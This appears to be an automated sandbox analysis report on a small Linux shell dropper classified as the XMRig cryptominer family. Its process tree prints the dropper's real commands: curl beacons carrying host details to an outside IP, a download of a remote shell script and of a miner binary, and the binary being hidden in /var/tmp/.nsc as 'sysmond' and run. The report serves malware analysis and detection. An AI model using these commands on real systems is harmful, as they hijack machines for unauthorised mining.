Analysis

  • max time kernel
    7s
  • max time network
    9s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/10/2026, 12:31

General

  • Target
    s
  • Size 402B
  • Sample261001-pp6dlasw7r
  • SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/s
    /tmp/s
    1⤵
      PID:643
      • /bin/hostname
        hostname
        2⤵
          PID:646
        • /usr/bin/cut
          cut -c1-20
          2⤵
            PID:648
          • /usr/bin/tr
            tr -cd A-Za-z0-9._-
            2⤵
              PID:647
            • /usr/bin/curl
              curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
              2⤵
              • Checks CPU configuration
              PID:651
            • /bin/sh
              sh
              2⤵
              • Executes dropped EXE
              PID:677
              • /bin/hostname
                hostname
                3⤵
                  PID:678
                • /bin/uname
                  uname -s
                  3⤵
                    PID:679
                  • /bin/uname
                    uname -m
                    3⤵
                      PID:680
                    • /sbin/sysctl
                      sysctl -n kern.osrelease
                      3⤵
                      • Reads CPU attributes
                      PID:681
                    • /usr/bin/id
                      id -u
                      3⤵
                        PID:682
                      • /usr/bin/curl
                        curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=env_Linux_armv7l_osrel=_uid=0"
                        3⤵
                        • Checks CPU configuration
                        PID:683
                      • /bin/mkdir
                        mkdir -p /var/tmp/.nsc
                        3⤵
                          PID:702
                        • /bin/mkdir
                          mkdir -p /var/tmp/.nsc
                          3⤵
                          • Reads runtime system information
                          PID:704
                        • /bin/mkdir
                          mkdir -p /var/tmp/.nsc
                          3⤵
                            PID:706
                          • /bin/grep
                            grep -c "[s]ysmond"
                            3⤵
                              PID:710
                            • /bin/ps
                              ps -ax
                              3⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:709
                            • /bin/rm
                              rm -f sysmond
                              3⤵
                                PID:715
                              • /usr/bin/curl
                                curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
                                3⤵
                                • Checks CPU configuration
                                PID:717
                              • /usr/bin/tr
                                tr -d " "
                                3⤵
                                  PID:761
                                • /usr/bin/wc
                                  wc -c
                                  3⤵
                                    PID:760
                                  • /bin/chmod
                                    chmod 755 sysmond
                                    3⤵
                                    • File and Directory Permissions Modification
                                    PID:763
                                  • /usr/bin/curl
                                    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=dl_sz=3620152"
                                    3⤵
                                    • Checks CPU configuration
                                    PID:765
                                  • /bin/sed
                                    sed "s/[^a-zA-Z0-9._-]/_/g"
                                    3⤵
                                    • Reads runtime system information
                                    PID:776
                                  • /bin/sed
                                    sed -n 1p
                                    3⤵
                                    • Reads runtime system information
                                    PID:775
                                  • /var/tmp/.nsc/sysmond
                                    ./sysmond --version
                                    3⤵
                                      PID:774
                                    • /usr/bin/curl
                                      curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=ver=sh__38__._sysmond__Exec_format_error"
                                      3⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:778
                                    • /usr/bin/curl
                                      curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-13&v=exe_fail_rc=0"
                                      3⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:779
                                  • /usr/bin/curl
                                    curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:676

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      sysmond

                                      • Path /var/tmp/.nsc/sysmond
                                      • Size 3.5MB
                                      • SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
                                      • MD5 SHA1 SHA512 SSDEEP TLSH